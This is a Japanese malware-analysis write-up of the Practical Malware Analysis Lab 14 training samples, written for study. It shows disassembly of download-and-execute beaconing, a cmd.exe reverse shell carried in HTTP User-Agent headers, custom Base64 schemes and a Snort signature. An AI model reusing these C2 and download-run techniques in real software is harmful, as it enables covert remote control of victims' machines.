PracticalMalwareAnalysis-Labs14 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab14のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 14-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab14-01.exe32ビット EXE53CBA9AF8D65FADBD0F7E5F9FF15CAD3

1. Which networking libraries does the malware use, and what are their advantages?

このマルウェアはurlmon.dllよりURLDownloadToCacheFileAをインポートしている。この関数の利点は、1個の関数を呼び出すだけでファイルのダンロードを行えることである。また、ファイルはキャッシュ・ディレクトリに保存されるのでユーザーの目に触れにくい。

2. What source elements are used to construct the networking beacon, and what conditions would cause the beacon to change?

マルウェアを実行したところ、www.practicalmalwareanalysis[.]comに対して以下のようなHTTPリクエストを送信した。

GET /ODA6NmU6NmY6NmU6Njk6NjMtdXNlcgaa/a.png HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive

URLパス名のODA6NmU6NmY6NmU6Njk6NjMtdXNlcgaaをBase64デコードすると、以下の結果が得られた。

$ echo -n ODA6NmU6NmY6NmU6Njk6NjMtdXNlcgaa | base64 -D
80:6e:6f:6e:69:63-user�

マルウェアをIDAで解析したところ、以下のことが判明した。

このマルウェアはシステムのハードウェア・プロファイル (GetCurrentHwProfileA) よりGUIDとカレント・スレッドを実行しているユーザー名 (GetUserNameA)を取得する。

.text:004012B2 8D 8D 7C FF FE FF       lea     ecx, [ebp+HwProfileInfo]
.text:004012B8 51                      push    ecx             ; lpHwProfileInfo
.text:004012B9 FF 15 00 50 40 00       call    ds:GetCurrentHwProfileA
.text:004012BF 0F BE 95 A4 FF FE FF    movsx   edx, [ebp+HwProfileInfo.szHwProfileGuid+24h]
.text:004012C6 52                      push    edx
.text:004012C7 0F BE 85 A3 FF FE FF    movsx   eax, [ebp+HwProfileInfo.szHwProfileGuid+23h]
.text:004012CE 50                      push    eax
.text:004012CF 0F BE 8D A2 FF FE FF    movsx   ecx, [ebp+HwProfileInfo.szHwProfileGuid+22h]
.text:004012D6 51                      push    ecx
.text:004012D7 0F BE 95 A1 FF FE FF    movsx   edx, [ebp+HwProfileInfo.szHwProfileGuid+21h]
.text:004012DE 52                      push    edx
.text:004012DF 0F BE 85 A0 FF FE FF    movsx   eax, [ebp+HwProfileInfo.szHwProfileGuid+20h]
.text:004012E6 50                      push    eax
.text:004012E7 0F BE 8D 9F FF FE FF    movsx   ecx, [ebp+HwProfileInfo.szHwProfileGuid+1Fh]
.text:004012EE 51                      push    ecx
.text:004012EF 0F BE 95 9E FF FE FF    movsx   edx, [ebp+HwProfileInfo.szHwProfileGuid+1Eh]
.text:004012F6 52                      push    edx
.text:004012F7 0F BE 85 9D FF FE FF    movsx   eax, [ebp+HwProfileInfo.szHwProfileGuid+1Dh]
.text:004012FE 50                      push    eax
.text:004012FF 0F BE 8D 9C FF FE FF    movsx   ecx, [ebp+HwProfileInfo.szHwProfileGuid+1Ch]
.text:00401306 51                      push    ecx
.text:00401307 0F BE 95 9B FF FE FF    movsx   edx, [ebp+HwProfileInfo.szHwProfileGuid+1Bh]
.text:0040130E 52                      push    edx
.text:0040130F 0F BE 85 9A FF FE FF    movsx   eax, [ebp+HwProfileInfo.szHwProfileGuid+1Ah]
.text:00401316 50                      push    eax
.text:00401317 0F BE 8D 99 FF FE FF    movsx   ecx, [ebp+HwProfileInfo.szHwProfileGuid+19h]
.text:0040131E 51                      push    ecx
.text:0040131F 68 64 60 40 00          push    offset aCCCCCCCCCCCC ; "%c%c:%c%c:%c%c:%c%c:%c%c:%c%c"
.text:00401324 8D 95 68 FF FE FF       lea     edx, [ebp+var_10098]
.text:0040132A 52                      push    edx
.text:0040132B E8 98 01 00 00          call    strcopy_4014C8
.text:00401330 83 C4 38                add     esp, 38h
.text:00401333 C7 85 FC FF FE FF FF 7F+mov     [ebp+pcbBuffer], 7FFFh
.text:0040133D 8D 85 FC FF FE FF       lea     eax, [ebp+pcbBuffer]
.text:00401343 50                      push    eax             ; pcbBuffer
.text:00401344 8D 8D 00 80 FF FF       lea     ecx, [ebp+Buffer]
.text:0040134A 51                      push    ecx             ; lpBuffer
.text:0040134B FF 15 04 50 40 00       call    ds:GetUserNameA

取得したGUIDとユーザー名はサブルーチン0x4010BBに引数として渡されてBase64エンコードされた後、URLに付与される。

.text:0040135C 8D 95 00 80 FF FF       lea     edx, [ebp+Buffer]
.text:00401362 52                      push    edx             ; pushes username to stack
.text:00401363 8D 85 68 FF FE FF       lea     eax, [ebp+var_10098]
.text:00401369 50                      push    eax             ; pushes hardware profile to stack
.text:0040136A 68 84 60 40 00          push    offset aSS      ; "%s-%s"
.text:0040136F 8D 8D A0 FE FE FF       lea     ecx, [ebp+var_10160]
.text:00401375 51                      push    ecx
.text:00401376 E8 4D 01 00 00          call    strcopy_4014C8  ; concatenate the hardware profile and the username
.text:0040137B 83 C4 10                add     esp, 10h
.text:0040137E 68 FF 7F 00 00          push    7FFFh
.text:00401383 6A 00                   push    0
.text:00401385 8D 95 00 00 FF FF       lea     edx, [ebp+var_10000]
.text:0040138B 52                      push    edx
.text:0040138C E8 DF 00 00 00          call    sub_401470
.text:00401391 83 C4 0C                add     esp, 0Ch
.text:00401394 8D 85 00 00 FF FF       lea     eax, [ebp+var_10000]
.text:0040139A 50                      push    eax
.text:0040139B 8D 8D A0 FE FE FF       lea     ecx, [ebp+var_10160]
.text:004013A1 51                      push    ecx
.text:004013A2 E8 14 FD FF FF          call    Base64encode_4010BB ; Base64 encode the the hardware profile and the username
.text:004013A7 83 C4 08                add     esp, 8

.text:004013AA                         loc_4013AA:
.text:004013AA 8D 95 00 00 FF FF       lea     edx, [ebp+var_10000]
.text:004013B0 52                      push    edx
.text:004013B1 E8 ED FD FF FF          call    Beacon_and_Download_4011A3

生成されたURLパスはサブルーチン0x4011A3に引数として渡される。サブルーチン0x4011A3は、以下のURLからファイルをダウンロードする。

http://www.practicalmalwareanalysis[.]com/<Base64 encoded GUID & username>/%c.png

.text:004011A3 55                      push    ebp
.text:004011A4 8B EC                   mov     ebp, esp
.text:004011A6 81 EC 60 04 00 00       sub     esp, 460h
.text:004011AC 8B 45 08                mov     eax, [ebp+arg_0]
.text:004011AF 50                      push    eax
.text:004011B0 E8 3B 02 00 00          call    sub_4013F0
.text:004011B5 83 C4 04                add     esp, 4
.text:004011B8 89 85 E8 FD FF FF       mov     [ebp+var_218], eax
.text:004011BE 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:004011C1 03 8D E8 FD FF FF       add     ecx, [ebp+var_218]
.text:004011C7 8A 51 FF                mov     dl, [ecx-1]
.text:004011CA 88 95 EC FD FF FF       mov     [ebp+var_214], dl
.text:004011D0 0F BE 85 EC FD FF FF    movsx   eax, [ebp+var_214]
.text:004011D7 50                      push    eax
.text:004011D8 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:004011DB 51                      push    ecx
.text:004011DC 68 30 60 40 00          push    offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:004011E1 8D 95 F0 FD FF FF       lea     edx, [ebp+var_210]
.text:004011E7 52                      push    edx
.text:004011E8 E8 DB 02 00 00          call    strcopy_4014C8
.text:004011ED 83 C4 10                add     esp, 10h
.text:004011F0 6A 00                   push    0               ; LPBINDSTATUSCALLBACK
.text:004011F2 6A 00                   push    0               ; DWORD
.text:004011F4 68 00 02 00 00          push    200h            ; cchFileName
.text:004011F9 8D 85 E8 FB FF FF       lea     eax, [ebp+ApplicationName]
.text:004011FF 50                      push    eax             ; LPSTR
.text:00401200 8D 8D F0 FD FF FF       lea     ecx, [ebp+var_210]
.text:00401206 51                      push    ecx             ; LPCSTR
.text:00401207 6A 00                   push    0               ; LPUNKNOWN
.text:00401209 E8 D2 01 00 00          call    URLDownloadToCacheFileA

ファイルのダウンロードが成功した場合、マルウェアはダウンロードしたファイルを実行する。

.text:00401221 6A 44                   push    44h
.text:00401223 6A 00                   push    0
.text:00401225 8D 95 A0 FB FF FF       lea     edx, [ebp+StartupInfo]
.text:0040122B 52                      push    edx
.text:0040122C E8 3F 02 00 00          call    sub_401470
.text:00401231 83 C4 0C                add     esp, 0Ch
.text:00401234 C7 85 A0 FB FF FF 44 00+mov     [ebp+StartupInfo.cb], 44h
.text:0040123E 6A 10                   push    10h
.text:00401240 6A 00                   push    0
.text:00401242 8D 45 F0                lea     eax, [ebp+ProcessInformation]
.text:00401245 50                      push    eax
.text:00401246 E8 25 02 00 00          call    sub_401470
.text:0040124B 83 C4 0C                add     esp, 0Ch
.text:0040124E 8D 4D F0                lea     ecx, [ebp+ProcessInformation]
.text:00401251 51                      push    ecx             ; lpProcessInformation
.text:00401252 8D 95 A0 FB FF FF       lea     edx, [ebp+StartupInfo]
.text:00401258 52                      push    edx             ; lpStartupInfo
.text:00401259 6A 00                   push    0               ; lpCurrentDirectory
.text:0040125B 6A 00                   push    0               ; lpEnvironment
.text:0040125D 6A 00                   push    0               ; dwCreationFlags
.text:0040125F 6A 00                   push    0               ; bInheritHandles
.text:00401261 6A 00                   push    0               ; lpThreadAttributes
.text:00401263 6A 00                   push    0               ; lpProcessAttributes
.text:00401265 6A 00                   push    0               ; lpCommandLine
.text:00401267 8D 85 E8 FB FF FF       lea     eax, [ebp+ApplicationName]
.text:0040126D 50                      push    eax             ; lpApplicationName
.text:0040126E FF 15 10 50 40 00       call    ds:CreateProcessA
.text:00401274 85 C0                   test    eax, eax
.text:00401276 75 04                   jnz     short loc_40127C

ファイルの実行が成功した場合、サブルーチン0x4011A3は戻り値として1をEAXに格納する。ファイルのダウンロードまたは実行のいずれかが失敗した場合は戻り値として0をEAXに格納する。

マルウェアはサブルーチン0x4011A3の戻り値を参照してファイルのダウンロード・実行の成否を確認する。
ファイルのダウンロード・実行に失敗した場合、マルウェアは60秒間スリープした後、再度ファイルのダウンロード・実行を試行する。ファイルのダウンロード・実行が成功するまで、マルウェアは60秒ごとにwww.practicalmalwareanalysis[.]comへHTTPリクエストを送信する。
ファイルのダウンロード・実行に成功した場合、マルウェアは自身のプロセスを終了する。

.text:004013AA                         loc_4013AA:
.text:004013AA 8D 95 00 00 FF FF       lea     edx, [ebp+var_10000]
.text:004013B0 52                      push    edx
.text:004013B1 E8 ED FD FF FF          call    Beacon_and_Download_4011A3
.text:004013B6 83 C4 04                add     esp, 4
.text:004013B9 89 85 F8 FF FE FF       mov     [ebp+var_10008], eax
.text:004013BF 83 BD F8 FF FE FF 00    cmp     [ebp+var_10008], 0
.text:004013C6 74 02                   jz      short loc_4013CA
.text:004013CA
.text:004013CA                         loc_4013CA:             ; dwMilliseconds
.text:004013CA 68 60 EA 00 00          push    60000
.text:004013CF FF 15 0C 50 40 00       call    ds:Sleep
.text:004013D5 EB D3                   jmp     short loc_4013AA

3. Why might the information embedded in the networking beacon be of interest to the attacker?

マルウェアを実行しているGUIDやユーザー名を参照することで次の攻撃へ役立てることが出来る。(マルウェアを実行しているユーザーはAdministratorか?そうだった場合、同じネットワーク内の他のシステムに対してもアクセスする権限を有しているか?など)

4. Does the malware use standard Base64 encoding? If not, how is the encoding unusual?

Base64エンコードの処理はサブルーチン0x4010BBの中で規定されている。アドレス0x4050C0に以下のBase64変換テーブルが格納されている。

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789+/

通常のBase64エンコードと異なり、パディング用の文字に=ではなくaを用いている。

.text:0040103E 8A 8A C0 50 40 00       mov     cl, ds:byte_4050C0[edx]
.text:00401044 88 48 01                mov     [eax+1], cl
.text:00401047 83 7D 10 01             cmp     [ebp+arg_8], 1
.text:0040104B 7E 2D                   jle     short loc_40107A

.text:0040107A                         loc_40107A:
.text:0040107A C7 45 FC 61 00 00 00    mov     [ebp+var_4], 'a'
.text:00401081 8B 4D 0C                mov     ecx, [ebp+arg_4]
.text:00401084 8A 55 FC                mov     dl, byte ptr [ebp+var_4]
.text:00401087 88 51 02                mov     [ecx+2], dl
.text:0040108A 83 7D 10 02             cmp     [ebp+arg_8], 2
.text:0040108E 7E 17                   jle     short loc_4010A7

.text:004010A7                         loc_4010A7:
.text:004010A7 C7 45 F8 61 00 00 00    mov     [ebp+var_8], 'a'

5. What is the overall purpose of this malware?

このマルウェアはインストール先のシステムのGUIDとユーザー名を取得してカスタムBase64エンコードし、エンコードした値をURLパスに付与して、www.practicalmalwareanalysis[.]comへのHTTPリクエストに乗せて送信する。このHTTPリクエストの際にマルウェアはwww.practicalmalwareanalysis[.]comから新たなファイルをダウンロードして実行しようとする。ファイルのダウンロード・実行が失敗した場合、60秒間スリープした後、再び先述したHTTPリクエストをサーバーに送信してファイルのダウンロード・実行を試みる。ファイルのダウンロード・実行が成功するまで、マルウェアは60秒ごとにwww.practicalmalwareanalysis[.]comへHTTPリクエストを送信する。
ファイルのダウンロード・実行に成功した場合、マルウェアは自身のプロセスを終了する。

6. What elements of the malware's communication may be effectively detected using a network signature?

  • www.practicalmalwareanalysis[.]comから.pngファイルをダウンロードしようとする通信。
  • パディング文字としてaを使用しているカスタムBase64エンコードされたデータがURLパスに付与されているHTTP通信。

7. What mistakes might analysts make in trying to develop a signature for this malware?

  • 動的解析の際に生成されたURLパスをそのまま検知シグネチャとして採用すること。URLパスはマルウェアを実行しているGUIDとユーザー名に基づいて生成されるので、マルウェアが異なるシステムやユーザーによって実行された場合は異なるURLパスが生成されることになる。
  • Base64エンコードされたURLパスの検知シグネチャ作成の際にパディング文字として=を指定しまうこと。このマルウェアはパディング文字にaを使う。

8. What set of signatures would detect this malware (and future variants?)

以下のsnortシグネチャはURLパスにBase64エンコード文字列が含まれていて、ファイル名が1文字のPNGファイルへのHTTPのGETまたはPOSTリクエストを検知する。

alert tcp any any -> any any (msg:"Lab14-01.exe Beacon"; content:"T "; offset:2; depth:3; content:"/"; content:".png HTTP/1."; distance:1; within:12; pcre:"/\/(?![a-zA-Z]{10,40})(?![0-9]{10,40})[a-zA-Z0-9]{5,40}\/.{1}\.png HTTP\/1\./";)

Lab 14-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab14-02.exe32ビット EXE14D4BDCC5F0FE917ABDE4B01E39A350E

1. What are the advantages or disadvantages of coding malware to use direct IP addresses?

メリット

  • ドメイン登録の手間が省ける。
  • ドメインを使用しないので、DNSサーバーのログに通信の痕跡が残らない。

デメリット

  • IPアドレスを遮断するだけで容易に通信を阻害できる。
  • プロトコルによっては、IPアドレスと直接通信を行うのは不審な通信の兆候と受け取られる場合がある。例えばドメインではなくIPアドレスに直接リクエストを送るようなHTTP通信は(もちろん良性のケースもあるが)、不審な通信としてユーザーやシステム管理者の目を引く可能性がある。

2. Which networking libraries does this malware use? What are the advantages or disadvantages of using these libraries?

WININET.dllより以下の関数をインポートしている。

  • InternetOpenUrlA
  • InternetOpenA
  • InternetReadFile
  • InternetCloseHandle

メリット

  • FTPやHTTP(S)通信を手軽に実装できる。

デメリット

  • InternetOpenAやInternetOpenUrlAを使用するにはURLやヘッダー情報を引数として渡さなければいけない。よって引数に渡されるURLやヘッダー情報をもとに検知シグネチャを作成することが出来る。

3. What is the source of the URL that the malware uses for beaconing? What advantages does this source offer?

マルウェアを実行したところ、http://127.0.0.1/tenfour.htmlに対して以下のHTTPリクエストを送信した。

GET /tenfour.html HTTP/1.1
User-Agent: (!<e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=
Host: 127.0.0.1
Cache-Control: no-cache
GET /tenfour.html HTTP/1.1
User-Agent: Internet Surf
Host: 127.0.0.1
Cache-Control: no-cache

通信先のURLはLoadStringAによってマルウェアのString Tablesから読み込まれる。

.text:004011D8 68 04 01 00 00          push    104h            ; cchBufferMax
.text:004011DD 50                      push    eax             ; lpBuffer
.text:004011DE 6A 01                   push    1               ; uID
.text:004011E0 51                      push    ecx             ; hInstance
.text:004011E1 FF 15 CC 20 40 00       call    ds:LoadStringA  ; loads http://127.0.0.1/tenfour.html from string table

URLはハードコードされているものの、画像から分かる通り、文字の合間にヌル文字(0x00)が挟まれているので、単純なstringsのチェックを回避することが出来る。IDAのString検索では上記のURLは検出されなかった。

4. Which aspect of the HTTP protocol does the malware leverages to achieve its objectives?

マルウェアはC2サーバーと通信する際、HTTPのユーザーエージェントに不審なデータを埋め込んでいた。

5. What kind of information is communicated in the malware's initial beacon?

1度目のHTTPリクエストの内容は以下の通り。ユーザーエージェントに不審なデータが埋め込まれていた。

GET /tenfour.html HTTP/1.1
User-Agent: (!<e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=
Host: 127.0.0.1
Cache-Control: no-cache

解析を進めたところ、サブルーチン0x401000にてカスタムBase64エンコードの処理を発見した。

.text:00401552 8B 54 24 18             mov     edx, [esp+1Ch+BytesRead]
.text:00401556 42                      inc     edx
.text:00401557 89 54 24 18             mov     [esp+1Ch+BytesRead], edx
.text:0040155B E8 A0 FA FF FF          call    CustomBase64_401000
.text:00401560 8D 53 14                lea     edx, [ebx+14h]
.text:00401563 52                      push    edx             ; lpszUrl
.text:00401564 55                      push    ebp             ; int
.text:00401565 E8 E6 01 00 00          call    Beacon_encrypted_UA_401750

アドレス0x403010に以下のカスタムBase64変換テーブルが格納されていた。

WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz

ユーザーエージェントのデータをデコードしたところ、コマンド・プロンプトの起動画面が現れた。

よって、マルウェアはC2サーバーとの一度目の通信の際、コマンド・プロンプトを立ち上げて、その出力結果をカスタムBase64エンコードしてユーザーエージェントに埋め込み、送信することが判明した。

6. What are some disadvantages in the design of this malware's communication channel?

ユーザーエージェントの値が明らかに不自然なので、通信をキャプチャしていれば容易に異常を検知できる。ちなみに一回目以降のHTTPリクエストにはユーザーエージェントの値にInternet Surfが指定される。このユーザーエージェントをもとに検知シグネチャを作成することも可能。

GET /tenfour.html HTTP/1.1
User-Agent: Internet Surf
Host: 127.0.0.1
Cache-Control: no-cache

7. Is the malware's encoding scheme standard?

このマルウェアが使用するBase64エンコードはカスタマイズされている。以下のカスタムのBase64変換テーブルが使用される。

WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz

さらに、カスタムBase64エンコードした後に、エンコードされた文字列の冒頭に(!<という余計なデータを付与する。ただしくデコードするには(!<を除去しなければいけない。

.text:00401768 F3 AB                   rep stosd
.text:0040176A AA                      stosb
.text:0040176B BF 68 30 40 00          mov     edi, offset asc_403068 ; "(!<"
.text:00401770 83 C9 FF                or      ecx, 0FFFFFFFFh
.text:00401773 33 C0                   xor     eax, eax
.text:00401775 83 C4 04                add     esp, 4
.text:00401778 F2 AE                   repne scasb

冒頭に(!<という余計なデータが付与されているので、そのままではデコードできない。

$ python custom_base64.py -d -s "(!<e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs=" -t WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz
-bash: !: event not found

デコードするには(!<を除去しなければならない。

$ python custom_base64.py -d -s e6LJC+xnBq90daDNB+1TDrhG6p9LC/iNBqsGiIsVgJCqhZaDZoNZBrXtC+L/AcoGfbhNdZdUhZKGe6LJC+xnBq90dliTC/XTC+a0A6xSgIWGo6VQdc3N9qH0CmXm97iLC/9L9YsiYG0fonNC57iLC/iCD7iLCLVl97iPDbxU7b1T7qtTDaxn8qaS7aXm86i0A6iHBlpHBcDHC+5XB+aQE7iNCmph863n7aXm86i0A6iHBaxi86Vr873L70aS86VtCqLn70VH8/iCo+LS873toqxQBb5JDbLTBLVZAbaUDb5m7nl0eZs= -t WXYZlabcd3fghijko12e456789ABCDEFGHIJKL+/MNOPQRSTUVmn0pqrstuvwxyz
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

8. How is communication terminated?

マルウェアが通信を終了する条件は以下の通り。

  • C2サーバーへのデータ送信用のスレッドの実行に失敗した場合。
  • C2サーバーからのデータ受信用のスレッドの実行に失敗した場合。
  • C2サーバーからexitというコマンドを受信した場合。
  • C2サーバーから何もデータを受信しなかった場合。
  • 上述したC2データの送受信用のスレッドのいずれかがシグナル状態になった場合。

C2サーバーへのデータ送信用のスレッドの実行に失敗した場合。

.text:00401372 52                      push    edx             ; lpThreadId
.text:00401373 55                      push    ebp             ; dwCreationFlags
.text:00401374 53                      push    ebx             ; lpParameter
.text:00401375 68 C0 14 40 00          push    offset Beacon_to_C2_4014C0 ; lpStartAddress
.text:0040137A 89 7B 08                mov     [ebx+8], edi    ; copies information about cmd.exe to ebx+8
.text:0040137D 8B 3D 14 20 40 00       mov     edi, ds:CreateThread
.text:00401383 55                      push    ebp             ; dwStackSize
.text:00401384 50                      push    eax             ; lpThreadAttributes
.text:00401385 C7 44 24 38 0C 00 00 00 mov     [esp+1C0h+ThreadAttributes.nLength], 0Ch
.text:0040138D 89 6C 24 3C             mov     [esp+1C0h+ThreadAttributes.lpSecurityDescriptor], ebp
.text:00401391 89 6C 24 40             mov     [esp+1C0h+ThreadAttributes.bInheritHandle], ebp
.text:00401395 FF D7                   call    edi ; CreateThread ; Lab14-02.exe sends beacon
.text:00401397 3B C5                   cmp     eax, ebp
.text:00401399 89 43 0C                mov     [ebx+0Ch], eax
.text:0040139C 75 1C                   jnz     short loc_4013BA ; terminates thread if beacon fails

.text:0040139E 55                      push    ebp             ; dwExitCode
.text:0040139F 55                      push    ebp             ; hThread
.text:004013A0 FF 15 10 20 40 00       call    ds:TerminateThread

C2サーバーからのデータ受信用のスレッドの実行に失敗した場合。

.text:004013CD 51                      push    ecx             ; lpThreadId
.text:004013CE 55                      push    ebp             ; dwCreationFlags
.text:004013CF 53                      push    ebx             ; lpParameter
.text:004013D0 68 C0 15 40 00          push    offset Recv_from_C2_4015C0 ; lpStartAddress
.text:004013D5 55                      push    ebp             ; dwStackSize
.text:004013D6 52                      push    edx             ; lpThreadAttributes
.text:004013D7 FF D7                   call    edi ; CreateThread ; Lab14-02.exe receives command from C2 server
.text:004013D9 3B C5                   cmp     eax, ebp
.text:004013DB 89 43 10                mov     [ebx+10h], eax
.text:004013DE 75 1C                   jnz     short loc_4013FC ; terminates thread if beacon fails

.text:004013E0 55                      push    ebp             ; dwExitCode
.text:004013E1 55                      push    ebp             ; hThread
.text:004013E2 FF 15 10 20 40 00       call    ds:TerminateThread

C2サーバーからexitというコマンドを受信した場合。

.text:00401672 6A 04                   push    4               ; MaxCount
.text:00401674 F2 AE                   repne scasb
.text:00401676 F7 D1                   not     ecx
.text:00401678 2B F9                   sub     edi, ecx
.text:0040167A 68 60 30 40 00          push    offset Str      ; "exit"
.text:0040167F 8B C1                   mov     eax, ecx
.text:00401681 8B F7                   mov     esi, edi
.text:00401683 8B FA                   mov     edi, edx
.text:00401685 53                      push    ebx             ; Str1
.text:00401686 C1 E9 02                shr     ecx, 2
.text:00401689 F3 A5                   rep movsd
.text:0040168B 8B C8                   mov     ecx, eax
.text:0040168D 83 E1 03                and     ecx, 3
.text:00401690 F3 A4                   rep movsb
.text:00401692 E8 61 03 00 00          call    _strnicmp       ; check if received C2 command is "exit"
.text:00401697 83 C4 0C                add     esp, 0Ch
.text:0040169A 85 C0                   test    eax, eax
.text:0040169C 0F 84 82 00 00 00       jz      loc_401724      ; exits if received C2 command is "exit"

.text:00401724                         loc_401724:
.text:00401724 8B 15 A0 30 40 00       mov     edx, hEvent
.text:0040172A 52                      push    edx             ; hEvent
.text:0040172B FF 15 3C 20 40 00       call    ds:SetEvent
.text:00401731 55                      push    ebp             ; Memory
.text:00401732 E8 A9 02 00 00          call    free
.text:00401737 83 C4 04                add     esp, 4
.text:0040173A 6A 00                   push    0               ; dwExitCode
.text:0040173C FF 15 30 20 40 00       call    ds:ExitThread

C2サーバーから何もデータを受信しなかった場合。

.text:00401619 50                      push    eax             ; lpszUrl
.text:0040161A E8 E1 01 00 00          call    Read_C2response_InternetSurf_UA_401800
.text:0040161F 8B D8                   mov     ebx, eax        ; eax points to buffer for received data
.text:00401621 83 C4 10                add     esp, 10h
.text:00401624 85 DB                   test    ebx, ebx        ; check whether received data is null or not
.text:00401626 0F 84 E1 00 00 00       jz      loc_40170D

.text:0040170D                         loc_40170D:             ; void *
.text:0040170D 53                      push    ebx
.text:0040170E E8 DF 02 00 00          call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:00401713 55                      push    ebp             ; Memory
.text:00401714 E8 C7 02 00 00          call    free
.text:00401719 83 C4 08                add     esp, 8
.text:0040171C 6A 00                   push    0               ; dwExitCode
.text:0040171E FF 15 30 20 40 00       call    ds:ExitThread

上述したC2データの送受信用のスレッドのいずれかがシグナル状態になった場合。

.text:004013FF 6A FF                   push    0FFFFFFFFh      ; dwMilliseconds, set to infinite
.text:00401401 89 44 24 3C             mov     [esp+1ACh+Handles], eax
.text:00401405 8B 4B 10                mov     ecx, [ebx+10h]
.text:00401408 8D 44 24 3C             lea     eax, [esp+1ACh+Handles]
.text:0040140C 89 4C 24 40             mov     [esp+1ACh+var_16C], ecx
.text:00401410 8B 53 08                mov     edx, [ebx+8]    ; copies information about cmd.exe to edx
.text:00401413 55                      push    ebp             ; bWaitAll set to FALSE (ebp is zeroed out at 0x4011ED)
.text:00401414 50                      push    eax             ; lpHandles to thread for C2 channel (send and recv)
.text:00401415 6A 03                   push    3               ; nCount
.text:00401417 89 54 24 50             mov     [esp+1B8h+var_168], edx
.text:0040141B FF 15 08 20 40 00       call    ds:WaitForMultipleObjects
.text:00401421 2B C5                   sub     eax, ebp
.text:00401423 74 2F                   jz      short loc_401454

.text:00401454 8B 53 0C                mov     edx, [ebx+0Ch]
.text:00401457 55                      push    ebp             ; dwExitCode
.text:00401458 52                      push    edx             ; hThread
.text:00401459 FF 15 10 20 40 00       call    ds:TerminateThread ; terminates thread for C2 channel (send)

9. What is the purpose of this malware, and what role might it play in the attacker's arsenal?

このマルウェアはまずcmd.exeを起動して、その出力結果をカスタムBase64エンコードした後、ユーザーエージェント・ヘッダーにエンコードしたデータを乗せてC2 URL http://127.0.0[.]1/tenfour.htmlへ送信する。

.text:0040136A 8D 54 24 1C             lea     edx, [esp+1A8h+ThreadId]
.text:0040136E 8D 44 24 20             lea     eax, [esp+1A8h+ThreadAttributes]
.text:00401372 52                      push    edx             ; lpThreadId
.text:00401373 55                      push    ebp             ; dwCreationFlags
.text:00401374 53                      push    ebx             ; lpParameter
.text:00401375 68 C0 14 40 00          push    offset Beacon_to_C2_4014C0 ; lpStartAddress
.text:0040137A 89 7B 08                mov     [ebx+8], edi    ; copies information about cmd.exe to ebx+8
.text:0040137D 8B 3D 14 20 40 00       mov     edi, ds:CreateThread
.text:00401383 55                      push    ebp             ; dwStackSize
.text:00401384 50                      push    eax             ; lpThreadAttributes
.text:00401385 C7 44 24 38 0C 00 00 00 mov     [esp+1C0h+ThreadAttributes.nLength], 0Ch
.text:0040138D 89 6C 24 3C             mov     [esp+1C0h+ThreadAttributes.lpSecurityDescriptor], ebp
.text:00401391 89 6C 24 40             mov     [esp+1C0h+ThreadAttributes.bInheritHandle], ebp
.text:00401395 FF D7                   call    edi ; CreateThread ; Lab14-02.exe sends beacon
.text:0040153C 6A 00                   push    0               ; lpOverlapped
.text:0040153E 52                      push    edx             ; lpNumberOfBytesRead
.text:0040153F 68 57 02 00 00          push    599             ; nNumberOfBytesToRead
.text:00401544 56                      push    esi             ; lpBuffer
.text:00401545 50                      push    eax             ; hFile
.text:00401546 FF D7                   call    edi ; ReadFile
.text:00401548 8B 4C 24 10             mov     ecx, [esp+14h+BytesRead]
.text:0040154C 55                      push    ebp
.text:0040154D 56                      push    esi
.text:0040154E C6 04 31 00             mov     byte ptr [ecx+esi], 0
.text:00401552 8B 54 24 18             mov     edx, [esp+1Ch+BytesRead]
.text:00401556 42                      inc     edx
